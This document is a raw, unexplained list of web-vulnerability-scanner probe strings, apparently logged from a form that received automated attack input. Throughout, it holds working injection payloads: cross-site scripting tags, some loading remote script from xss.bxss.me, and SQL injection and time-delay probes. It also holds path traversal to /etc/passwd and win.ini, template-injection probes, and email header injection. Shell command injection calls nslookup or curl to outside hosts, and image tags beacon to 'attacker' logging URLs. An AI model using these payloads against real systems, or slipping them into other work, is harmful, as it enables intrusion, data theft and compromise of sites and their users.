php

555

555<ScRiPt >3um5(9600)</ScRiPt>

1CC2eAVfonO

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt >SoZl(9486)</ScRiPt>

555'"()&%<zzz><ScRiPt >Fs4F(9046)</ScRiPt>

5559598030

response.write(9518235*9184415)

echo ifeoum$()\ evxbvj\nz^xyu||a #' &echo ifeoum$()\ evxbvj\nz^xyu||a #|" &echo ifeoum$()\ evxbvj\nz^xyu||a #

2SLA3exF

555

../../../../../../../../../../../../../../etc/passwd

555 bcc:0.1303-831537.1303.dba26.19631.2@bxss.me

555

555

555<esi:include src="http://bxss.me/rpb.png"/>

${9999344+9999332}

555

555

555<WD4NNN>DDLYW[!+!]</WD4NNN>

555

-1 OR 2+353-353-1=0+0+0+1 --

555'"()&%<zzz><ScRiPt >R62O(9646)</ScRiPt>

555<WOFNDH>QSG78[!+!]</WOFNDH>

to@example.com> bcc:0.1303-831554.1303.dba26.19631.2@bxss.me

../../../../../../../../../../../../../../windows/win.ini

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555

'+response.write(9518235*9184415)+'

&echo jvicag$()\ mklomg\nz^xyu||a #' &echo jvicag$()\ mklomg\nz^xyu||a #|" &echo jvicag$()\ mklomg\nz^xyu||a #

555

555&echo vkiqki$()\ wiycax\nz^xyu||a #' &echo vkiqki$()\ wiycax\nz^xyu||a #|" &echo vkiqki$()\ wiycax\nz^xyu||a #

"+response.write(9518235*9184415)+"

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

bfg10580\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10580

'"()&%<zzz><ScRiPt >Fs4F(9368)</ScRiPt>

file:///etc/passwd

555

-1 OR 3+353-353-1=0+0+0+1 --

555<script>SoZl(9314)</script>

-1 OR 3*2<(0+5+353-353) --

dfb{{98991*97996}}xca

'"()&%<zzz><ScRiPt >R62O(9021)</ScRiPt>

555<script>3um5(9815)</script>

555

555'"()&%<zzz><ScRiPt >eIyO(9316)</ScRiPt>

555

Http://bxss.me/t/fit.txt

555

|echo kysuda$()\ halkoj\nz^xyu||a #' |echo kysuda$()\ halkoj\nz^xyu||a #|" |echo kysuda$()\ halkoj\nz^xyu||a #

555<script>3um5(9627)</script>9627

555|echo mutfkq$()\ bvkxar\nz^xyu||a #' |echo mutfkq$()\ bvkxar\nz^xyu||a #|" |echo mutfkq$()\ bvkxar\nz^xyu||a #

555

http://bxss.me/t/fit.txt?.jpg

bfgx1894\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1894

../555

5559364801

555'"()&%<zzz><ScRiPt >7Cqn(9725)</ScRiPt>

-1 OR 3*2>(0+5+353-353) --

555'"()&%<zzz><ScRiPt >Y5Gt(9156)</ScRiPt>

555<script>SoZl(9712)</script>9712

-1 OR 2+191-191-1=0+0+0+1

dfb[[${98991*97996}]]xca

5559631350

'"()&%<zzz><ScRiPt >eIyO(9891)</ScRiPt>

./555

/etc/shells

555

(nslookup -q=cname hituxrmeucbsi8c945.bxss.me||curl hituxrmeucbsi8c945.bxss.me))

555<ScR<ScRiPt>IpT>3um5(9289)</sCr<ScRiPt>IpT>

$(nslookup -q=cname hitwdvbdpbbgn6e8b7.bxss.me||curl hitwdvbdpbbgn6e8b7.bxss.me)

c:/windows/win.ini

<%={{={@{#{${dfb}}%>

555

bfg1912\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1912

'"()&%<zzz><ScRiPt >7Cqn(9976)</ScRiPt>

-1 OR 3+191-191-1=0+0+0+1

555<ScR<ScRiPt>IpT>SoZl(9604)</sCr<ScRiPt>IpT>

-1 OR 3*2<(0+5+191-191)

dfb__${98991*97996}__::.x

bfg2455\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2455

5559063505

555

bxss.me

&nslookup -q=cname hitpmpcvlcktib43e4.bxss.me&'\"`0&nslookup -q=cname hitpmpcvlcktib43e4.bxss.me&`'

'"()&%<zzz><ScRiPt >Y5Gt(9072)</ScRiPt>

555<ScRiPt >3um5(9631)</ScRiPt>

&(nslookup -q=cname hitchzgjokfpqda36f.bxss.me||curl hitchzgjokfpqda36f.bxss.me)&'\"`0&(nslookup -q=cname hitchzgjokfpqda36f.bxss.me||curl hitchzgjokfpqda36f.bxss.me)&`'

555

555

555

bfgx6169\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6169

5559359362

-1 OR 3*2>(0+5+191-191)

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9487></ScRiPt>

555<ScRiPt >SoZl(9299)</ScRiPt>

-1' OR 2+209-209-1=0+0+0+1 --

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

bfgx8290\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8290

bfg1813\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1813

555

555

|(nslookup -q=cname hitzturpimjzy19898.bxss.me||curl hitzturpimjzy19898.bxss.me)

5559991905

`(nslookup -q=cname hitluarwdlsbc19093.bxss.me||curl hitluarwdlsbc19093.bxss.me)`

555

555

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

bfg10618\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10618

-1' OR 3+209-209-1=0+0+0+1 --

555'"()&%<zzz><ScRiPt >N7BC(9966)</ScRiPt>

555<ScRiPt >3um5(9382)</ScRiPt>

1CAZd7vAnzO

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9600></ScRiPt>

-1' OR 3*2<(0+5+209-209) --

<%={{={@{#{${dfb}}%>

555<ScRiPt >kBUA(9340)</ScRiPt>

bfgx1935\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1935

555

555

555

bfg9924\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9924

555

555

555

555

555

bfgx1082\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1082

-1' OR 3*2>(0+5+209-209) --

555

555

'"()&%<zzz><ScRiPt >N7BC(9949)</ScRiPt>

555<svg  \xa0onload=3um5(9628)

555<ScRiPt >SoZl(9860)</ScRiPt>

-1' OR 2+262-262-1=0+0+0+1 or 'gcNJm8nc'='

555

555<W67UAU>857XD[!+!]</W67UAU>

<%={{={@{#{${dfb}}%>

555

bfgx2533\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2533

555

555

555

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

<%={{={@{#{${dfb}}%>

-1' OR 3+262-262-1=0+0+0+1 or 'gcNJm8nc'='

555

5559140719

-1' OR 3*2<(0+5+262-262) or 'gcNJm8nc'='

555<isindex type=image src=1 onerror=3um5(9245)>

555<svg  \xa0onload=SoZl(9230)

555<script>kBUA(9885)</script>

<th:t="${dfb}#foreach

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

555

555

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

555

-1' OR 3*2>(0+5+262-262) or 'gcNJm8nc'='

555

bfg6962\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6962

-1" OR 2+90-90-1=0+0+0+1 --

555<iframe src='data:text/html

555<isindex type=image src=1 onerror=SoZl(9922)>

555<script>kBUA(9400)</script>9400

555

555

555

555

555

dfb{98991*97996}xca

dfb{98991*97996}xca

<th:t="${dfb}#foreach

-1" OR 3+90-90-1=0+0+0+1 --

555

bfgx1386\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1386

-1" OR 3*2<(0+5+90-90) --

555<body onload=3um5(9229)>

555<iframe src='data:text/html

555<ScR<ScRiPt>IpT>kBUA(9432)</sCr<ScRiPt>IpT>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555

555

dfb${98991*97996}xca

dfb${98991*97996}xca

-1" OR 3*2>(0+5+90-90) --

555

555

555

555

555

<%={{={@{#{${dfb}}%>

555<img src=//xss.bxss.me/t/dot.gif onload=3um5(9439)>

555<body onload=SoZl(9260)>

555<ScRiPt >kBUA(9022)</ScRiPt>

555

555

dfb#{98991*97996}xca

dfb#{98991*97996}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555<img src=xyz OnErRor=3um5(9826)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9990></ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=SoZl(9578)>

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

dfb{#98991*97996}xca

dfb{#98991*97996}xca

555

555

555

<th:t="${dfb}#foreach

555<img/src=">" onerror=alert(9301)>

555<ScRiPt >kBUA(9940)</ScRiPt>

555<img src=xyz OnErRor=SoZl(9858)>

dfb[[${98991*97996}]]xca

dfb[[${98991*97996}]]xca

dfb{@98991*97996}xca

dfb{@98991*97996}xca

dfb{{98991*97996}}xca

555

dfb{{98991*97996}}xca

555

-1 OR 2+849-849-1=0+0+0+1 --

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%33%75%6D%35%289547%29%3C%2F%73%43%72%69%70%54%3E

555<svg  \xa0onload=kBUA(9241)

555<img/src=">" onerror=alert(9574)>

dfb__${98991*97996}__::.x

dfb__${98991*97996}__::.x

dfb{{=98991*97996}}xca

dfb{{=98991*97996}}xca

dfb[[${98991*97996}]]xca

555

dfb[[${98991*97996}]]xca

if(now()=sysdate(),sleep(15),0)

-1 OR 3+849-849-1=0+0+0+1 --

-1 OR 3*2<(0+5+849-849) --

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555\u003CScRiPt\3um5(9470)\u003C/sCripT\u003E

555<isindex type=image src=1 onerror=kBUA(9027)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%53%6F%5A%6C%289230%29%3C%2F%73%43%72%69%70%54%3E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555

dfb@(98991*97996)xca

dfb@(98991*97996)xca

dfb__${98991*97996}__::.x

dfb__${98991*97996}__::.x

-1 OR 3*2>(0+5+849-849) --

-1 OR 2+961-961-1=0+0+0+1

555&lt

555<iframe src='data:text/html

555<ScRiPt >eIyO(9882)</ScRiPt>

555\u003CScRiPt\SoZl(9672)\u003C/sCripT\u003E

555<ScRiPt >R62O(9733)</ScRiPt>

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<body onload=kBUA(9106)>

dfb{{98991*97996}}xca

dfb<%=98991*97996%>xca

dfb<%=98991*97996%>xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

-1 OR 3+961-961-1=0+0+0+1

555<ScRiPt >Y5Gt(9701)</ScRiPt>

-1 OR 3*2<(0+5+961-961)

\xf6<img zzz onmouseover=3um5(91351) //\xf6>

555<WZNVOP>EOWDR[!+!]</WZNVOP>

555&lt

555<WQ3YH2>WLYH5[!+!]</WQ3YH2>

555

555<script>R62O(9970)</script>

\xf6<img zzz onmouseover=SoZl(93491) //\xf6>

dfb[[${98991*97996}]]xca

555<img src=//xss.bxss.me/t/dot.gif onload=kBUA(9053)>

dfb#set($x=98991*97996)${x}xca

dfb#set($x=98991*97996)${x}xca

555<ScRiPt >7Cqn(9234)</ScRiPt>

-1 OR 3*2>(0+5+961-961)

555<WCA6HF>TZQXF[!+!]</WCA6HF>

-1' OR 2+783-783-1=0+0+0+1 --

555<input autofocus onfocus=3um5(9863)>

555<script>eIyO(9503)</script>

555

555<script>R62O(9396)</script>9396

555<input autofocus onfocus=SoZl(9434)>

dfb__${98991*97996}__::.x

555<img src=xyz OnErRor=kBUA(9326)>

dfb{{"abc"|title}}xca

555<WPOZJS>8UGTA[!+!]</WPOZJS>

dfb{{"abc"|title}}xca

-1' OR 3+783-783-1=0+0+0+1 --

555<script>Y5Gt(9768)</script>

-1' OR 3*2<(0+5+783-783) --

<a HrEF=http://xss.bxss.me></a>

555<script>eIyO(9289)</script>9289

555

555<ScR<ScRiPt>IpT>R62O(9136)</sCr<ScRiPt>IpT>

<a HrEF=http://xss.bxss.me></a>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img/src=">" onerror=alert(9551)>

print("dfb" . 98991*97996 . "xca")

555<script>7Cqn(9281)</script>

print("dfb" . 98991*97996 . "xca")

-1' OR 3*2>(0+5+783-783) --

555<script>Y5Gt(9501)</script>9501

-1' OR 2+469-469-1=0+0+0+1 or '1AWfTGIy'='

<a HrEF=jaVaScRiPT:>

555<ScR<ScRiPt>IpT>eIyO(9218)</sCr<ScRiPt>IpT>

555

555<ScRiPt >R62O(9029)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<ScRiPt >N7BC(9566)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6B%42%55%41%289966%29%3C%2F%73%43%72%69%70%54%3E

98991*97996*98991*97996

555<script>7Cqn(9756)</script>9756

98991*97996*98991*97996

-1' OR 3+469-469-1=0+0+0+1 or '1AWfTGIy'='

555<ScR<ScRiPt>IpT>Y5Gt(9345)</sCr<ScRiPt>IpT>

-1' OR 3*2<(0+5+469-469) or '1AWfTGIy'='

555}body{zzz:Expre/**/SSion(3um5(9261))}

555<ScRiPt >eIyO(9203)</ScRiPt>

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9458></ScRiPt>

555}body{zzz:Expre/**/SSion(SoZl(9980))}

555<WAYRNA>UKGMO[!+!]</WAYRNA>

555\u003CScRiPt\kBUA(9293)\u003C/sCripT\u003E

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScR<ScRiPt>IpT>7Cqn(9360)</sCr<ScRiPt>IpT>

dfb{@math key=98991 method="multiply" operand=97996/}xca

-1' OR 3*2>(0+5+469-469) or '1AWfTGIy'='

555<ScRiPt >Y5Gt(9046)</ScRiPt>

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-1" OR 2+957-957-1=0+0+0+1 --

555VVLER <ScRiPt >3um5(9149)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9009></ScRiPt>

555

555<ScRiPt >R62O(9939)</ScRiPt>

555EgRZi <ScRiPt >SoZl(9259)</ScRiPt>

555<script>N7BC(9563)</script>

555&lt

dfb{{{this}}}xca

555<ScRiPt >7Cqn(9862)</ScRiPt>

dfb{{{this}}}xca

-1" OR 3+957-957-1=0+0+0+1 --

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9109></ScRiPt>

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

-1" OR 3*2<(0+5+957-957) --

555<W0KC6U>15NBW[!+!]</W0KC6U>

555<ScRiPt >eIyO(9932)</ScRiPt>

555

555<svg  \xa0onload=R62O(9744)

555<WBILKV>2TBMG[!+!]</WBILKV>

555<script>N7BC(9211)</script>9211

\xf6<img zzz onmouseover=kBUA(98201) //\xf6>

#{98991*97996*98991*97996}

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9564></ScRiPt>

#{98991*97996*98991*97996}

-1" OR 3*2>(0+5+957-957) --

555<ScRiPt >Y5Gt(9084)</ScRiPt>

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555<ifRAme sRc=9727.com></IfRamE>

555<svg  \xa0onload=eIyO(9261)

555

dfb#{xca}=123

555<isindex type=image src=1 onerror=R62O(9529)>

555<ifRAme sRc=9661.com></IfRamE>

555<ScR<ScRiPt>IpT>N7BC(9085)</sCr<ScRiPt>IpT>

555<input autofocus onfocus=kBUA(9230)>

dfb#{xca}=123

555<ScRiPt >7Cqn(9843)</ScRiPt>

555<svg  \xa0onload=Y5Gt(9365)

555

555<ScRiPt >N7BC(9762)</ScRiPt>

if(now()=sysdate(),sleep(15),0)

555<aJBNyLv x=9411>

555<isindex type=image src=1 onerror=eIyO(9880)>

dfb{{'abcd'.toUpperCase()}}xca

555<iframe src='data:text/html

555<aXkgHGH x=9584>

<a HrEF=http://xss.bxss.me></a>

dfb{{'abcd'.toUpperCase()}}xca

555<svg  \xa0onload=7Cqn(9777)

-1

555<isindex type=image src=1 onerror=Y5Gt(9967)>

555

555<img sRc='http://attacker-9502/log.php?

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9736></ScRiPt>

555<iframe src='data:text/html

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<body onload=R62O(9020)>

555<img sRc='http://attacker-9283/log.php?

<a HrEF=jaVaScRiPT:>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<isindex type=image src=1 onerror=7Cqn(9635)>

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555<iframe src='data:text/html

555

555<aPJOTe9<

555<ScRiPt >N7BC(9837)</ScRiPt>

-1)

555<body onload=eIyO(9024)>

dfb{{98991*97996}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=R62O(9125)>

555<aCreED1<

555}body{zzz:Expre/**/SSion(kBUA(9687))}

dfb{{98991*97996}}xca

555<iframe src='data:text/html

555<body onload=Y5Gt(9713)>

echo eisrvw$()\ mqxrxp\nz^xyu||a #' &echo eisrvw$()\ mqxrxp\nz^xyu||a #|" &echo eisrvw$()\ mqxrxp\nz^xyu||a #

response.write(9152555*9599815)

555

555<svg  \xa0onload=N7BC(9472)

'+response.write(9152555*9599815)+'

&echo qdlhov$()\ hppcwl\nz^xyu||a #' &echo qdlhov$()\ hppcwl\nz^xyu||a #|" &echo qdlhov$()\ hppcwl\nz^xyu||a #

555<img src=//xss.bxss.me/t/dot.gif onload=eIyO(9904)>

dfb[[${98991*97996}]]xca

xMxcmJnZ

555

555<img src=xyz OnErRor=R62O(9802)>

555 bcc:0.1303-831793.1303.75a55.19631.2@bxss.me

555MLfup <ScRiPt >kBUA(9649)</ScRiPt>

dfb[[${98991*97996}]]xca

555<body onload=7Cqn(9092)>

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555<img src=//xss.bxss.me/t/dot.gif onload=Y5Gt(9514)>

555&echo brfsgf$()\ rectwq\nz^xyu||a #' &echo brfsgf$()\ rectwq\nz^xyu||a #|" &echo brfsgf$()\ rectwq\nz^xyu||a #

"+response.write(9152555*9599815)+"

555

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

555<isindex type=image src=1 onerror=N7BC(9101)>

555

|echo opzjyl$()\ ktlvrb\nz^xyu||a #' |echo opzjyl$()\ ktlvrb\nz^xyu||a #|" |echo opzjyl$()\ ktlvrb\nz^xyu||a #

1 waitfor delay '0:0:15' --

555<img src=xyz OnErRor=eIyO(9652)>

to@example.com> bcc:0.1303-831794.1303.75a55.19631.2@bxss.me

dfb__${98991*97996}__::.x

${9999212+10000098}

555<esi:include src="http://bxss.me/rpb.png"/>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555

555<img/src=">" onerror=alert(9447)>

555

555<WHAF5Z>1FAIC[!+!]</WHAF5Z>

dfb__${98991*97996}__::.x

555<img src=//xss.bxss.me/t/dot.gif onload=7Cqn(9403)>

555<img src=xyz OnErRor=Y5Gt(9778)>

555|echo izjpkp$()\ crhtfg\nz^xyu||a #' |echo izjpkp$()\ crhtfg\nz^xyu||a #|" |echo izjpkp$()\ crhtfg\nz^xyu||a #

555

555

file:///etc/passwd

555

555<iframe src='data:text/html

555

(nslookup -q=cname hitbgcnllrqpaa208b.bxss.me||curl hitbgcnllrqpaa208b.bxss.me))

555<img/src=">" onerror=alert(9410)>

555

)

555&n988811=v980081

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555<ScRiPt >Fs4F(9872)</ScRiPt>

555

!(()&&!|*|*|

%35%35%35%3C%53%63%52%69%50%74%20%3E%52%36%32%4F%289185%29%3C%2F%73%43%72%69%70%54%3E

'.gethostbyname(lc('hitpu'.'fxvopcnnaf205.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(76).chr(102).chr(69).'

555<ifRAme sRc=9838.com></IfRamE>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img src=xyz OnErRor=7Cqn(9742)>

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555<img/src=">" onerror=alert(9725)>

$(nslookup -q=cname hitrlrhjfmoataff63.bxss.me||curl hitrlrhjfmoataff63.bxss.me)

555

../555

./555

555<body onload=N7BC(9066)>

555

&nslookup -q=cname hitdxsuxswcfu26b1a.bxss.me&'\"`0&nslookup -q=cname hitdxsuxswcfu26b1a.bxss.me&`'

avJ3DaF5'

%35%35%35%3C%53%63%52%69%50%74%20%3E%65%49%79%4F%289117%29%3C%2F%73%43%72%69%70%54%3E

".gethostbyname(lc("hitkd"."lfjkqxmrd014e.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(66).chr(102).chr(73)."

^(#$!@#$)(()))******

HttP://bxss.me/t/xss.html?%00

'

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

"

555<WLJAGR>FXIIX[!+!]</WLJAGR>

bxss.me/t/xss.html?%00

555

555\u003CScRiPt\R62O(9317)\u003C/sCripT\u003E

555

555<ayGM7pI x=9603>

"+"A".concat(70-3).concat(22*4).concat(122).concat(66).concat(109).concat(84)+(require"socket" Socket.gethostbyname("hitda"+"ipdybiqrf13ae.bxss.me.")[3].to_s)+"

555<img/src=">" onerror=alert(9610)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%59%35%47%74%289539%29%3C%2F%73%43%72%69%70%54%3E

&(nslookup -q=cname hitvaorrubzduc529c.bxss.me||curl hitvaorrubzduc529c.bxss.me)&'\"`0&(nslookup -q=cname hitvaorrubzduc529c.bxss.me||curl hitvaorrubzduc529c.bxss.me)&`'

555

555

555

555<img src=//xss.bxss.me/t/dot.gif onload=N7BC(9658)>

'"()

|(nslookup -q=cname hitzwaoqftdhif86ec.bxss.me||curl hitzwaoqftdhif86ec.bxss.me)

'+'A'.concat(70-3).concat(22*4).concat(98).concat(72).concat(97).concat(69)+(require'socket' Socket.gethostbyname('hitxo'+'tqgddczp4868e.bxss.me.')[3].to_s)+'

555\u003CScRiPt\eIyO(9689)\u003C/sCripT\u003E

555

555

555

${@print(md5(31337))}

/etc/shells

c:/windows/win.ini

${@print(md5(31337))}\

555<script>Fs4F(9238)</script>

555

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555&lt

555<img sRc='http://attacker-9476/log.php?

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%37%43%71%6E%289108%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\Y5Gt(9002)\u003C/sCripT\u003E

-1

`(nslookup -q=cname hitaokeqabkyu70db8.bxss.me||curl hitaokeqabkyu70db8.bxss.me)`

555'&&sleep(27*1000)*geklvm&&'

555

555

comments

comments

555

555<img src=xyz OnErRor=N7BC(9131)>

555"&&sleep(27*1000)*rodzsp&&"

-5 OR 405=(SELECT 405 FROM PG_SLEEP(15))--

555

555&lt

555

'"

xfs.bxss.me

'.print(md5(31337)).'

bxss.me

555

555

555<script>Fs4F(9302)</script>9302

921141

<!--

\xf6<img zzz onmouseover=R62O(99731) //\xf6>

555<accfMVt<

555'"()&%<zzz><ScRiPt >hATa(9811)</ScRiPt>

555\u003CScRiPt\7Cqn(9930)\u003C/sCripT\u003E

555&lt

555

555'||sleep(27*1000)*nxfwcl||'

555

555

comments/.

555

555

555<img/src=">" onerror=alert(9433)>

555"||sleep(27*1000)*savxqm||"

555

'"()&%<zzz><ScRiPt >hATa(9474)</ScRiPt>

\xf6<img zzz onmouseover=eIyO(97681) //\xf6>

555

http://xfs.bxss.me?btcom.de

555

555

555

555

555<ScR<ScRiPt>IpT>Fs4F(9752)</sCr<ScRiPt>IpT>

xfs.bxss.me?btcom.de

555

555<input autofocus onfocus=R62O(9263)>

5559887224

\xf6<img zzz onmouseover=Y5Gt(99951) //\xf6>

555&lt

555

-1)

555

555

555

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%4E%37%42%43%289253%29%3C%2F%73%43%72%69%70%54%3E

555

-5) OR 57=(SELECT 57 FROM PG_SLEEP(15))--

555

bfg9096\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9096

555<input autofocus onfocus=eIyO(9289)>

//xfs.bxss.me?btcom.de

555

555

555

555

/\xfs.bxss.me?btcom.de

555<ScRiPt >Fs4F(9097)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

bfgx3406\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3406

555<input autofocus onfocus=Y5Gt(9283)>

\xf6<img zzz onmouseover=7Cqn(93881) //\xf6>

555

555

555

555\u003CScRiPt\N7BC(9106)\u003C/sCripT\u003E

555

555

<%={{={@{#{${dfb}}%>

<a HrEF=http://xss.bxss.me></a>

555

555

555

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9178></ScRiPt>

<a HrEF=jaVaScRiPT:>

555

<a HrEF=http://xss.bxss.me></a>

555<input autofocus onfocus=7Cqn(9041)>

555

555

555

555&lt

555

555

<th:t="${dfb}#foreach

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(R62O(9028))}

555<ScRiPt >Fs4F(9439)</ScRiPt>

555

<a HrEF=jaVaScRiPT:>

<a HrEF=http://xss.bxss.me></a>

555

555

555

555}body{zzz:Expre/**/SSion(eIyO(9064))}

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555

\xf6<img zzz onmouseover=N7BC(94531) //\xf6>

555

555}body{zzz:Expre/**/SSion(Y5Gt(9074))}

555

5558z4QF <ScRiPt >R62O(9201)</ScRiPt>

555

555

<a HrEF=jaVaScRiPT:>

555<svg  \xa0onload=Fs4F(9004)

555<input autofocus onfocus=N7BC(9190)>

dfb{{98991*97996}}xca

555GBolC <ScRiPt >eIyO(9149)</ScRiPt>

555<isindex type=image src=1 onerror=Fs4F(9555)>

555<WCC4N8>HLIVI[!+!]</WCC4N8>

dfb[[${98991*97996}]]xca

555Fo90B <ScRiPt >Y5Gt(9752)</ScRiPt>

555

555}body{zzz:Expre/**/SSion(7Cqn(9858))}

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555'"()&%<zzz><ScRiPt >rn9E(9209)</ScRiPt>

555<iframe src='data:text/html

<a HrEF=http://xss.bxss.me></a>

555<WUXMF1>JWMWX[!+!]</WUXMF1>

555<ifRAme sRc=9471.com></IfRamE>

555<WIMOIP>VQHNF[!+!]</WIMOIP>

555<ScRiPt >hATa(9794)</ScRiPt>

555yErwr <ScRiPt >7Cqn(9931)</ScRiPt>

555

<a HrEF=jaVaScRiPT:>

555<WP3VWS>KS1AF[!+!]</WP3VWS>

'"()&%<zzz><ScRiPt >rn9E(9288)</ScRiPt>

555<body onload=Fs4F(9000)>

555<W1Z27T>PXMSL[!+!]</W1Z27T>

555<aICLEiI x=9553>

555<ifRAme sRc=9270.com></IfRamE>

555

555<ifRAme sRc=9868.com></IfRamE>

555<script>hATa(9720)</script>

555<img src=//xss.bxss.me/t/dot.gif onload=Fs4F(9123)>

5559954787

555}body{zzz:Expre/**/SSion(N7BC(9146))}

555<script>hATa(9803)</script>9803

555<ajgInx1 x=9208>

555

555<ifRAme sRc=9942.com></IfRamE>

555<img sRc='http://attacker-9074/log.php?

555<a0LK8V6 x=9705>

555<ScR<ScRiPt>IpT>hATa(9244)</sCr<ScRiPt>IpT>

555rDHXM <ScRiPt >N7BC(9256)</ScRiPt>

555<img sRc='http://attacker-9563/log.php?

555<img src=xyz OnErRor=Fs4F(9818)>

555<aIBnIdb<

555

555<ScRiPt >hATa(9598)</ScRiPt>

bfg1770\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1770

555<W5M3FS>RMSID[!+!]</W5M3FS>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9962></ScRiPt>

555<ScRiPt >hATa(9491)</ScRiPt>

555<adkAjy2<

1 waitfor delay '0:0:15' --

555<apLrEQZ x=9825>

555<img sRc='http://attacker-9468/log.php?

555<img/src=">" onerror=alert(9706)>

555

555<svg  \xa0onload=hATa(9764)

-1)) OR 636=(SELECT 636 FROM PG_SLEEP(15))--

bfgx2541\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2541

555<isindex type=image src=1 onerror=hATa(9096)>

555<ifRAme sRc=9479.com></IfRamE>

555<aTpNPbD<

<%={{={@{#{${dfb}}%>

%35%35%35%3C%53%63%52%69%50%74%20%3E%46%73%34%46%289034%29%3C%2F%73%43%72%69%70%54%3E

555

555<iframe src='data:text/html

555<img sRc='http://attacker-9475/log.php?

555<body onload=hATa(9517)>

555<a0ENSjd x=9922>

555

555

555<img src=//xss.bxss.me/t/dot.gif onload=hATa(9655)>

555\u003CScRiPt\Fs4F(9745)\u003C/sCripT\u003E

555<aNpjv9V<

<th:t="${dfb}#foreach

555<img src=xyz OnErRor=hATa(9882)>

555<img sRc='http://attacker-9020/log.php?

555

555

555<img/src=">" onerror=alert(9979)>

555&lt

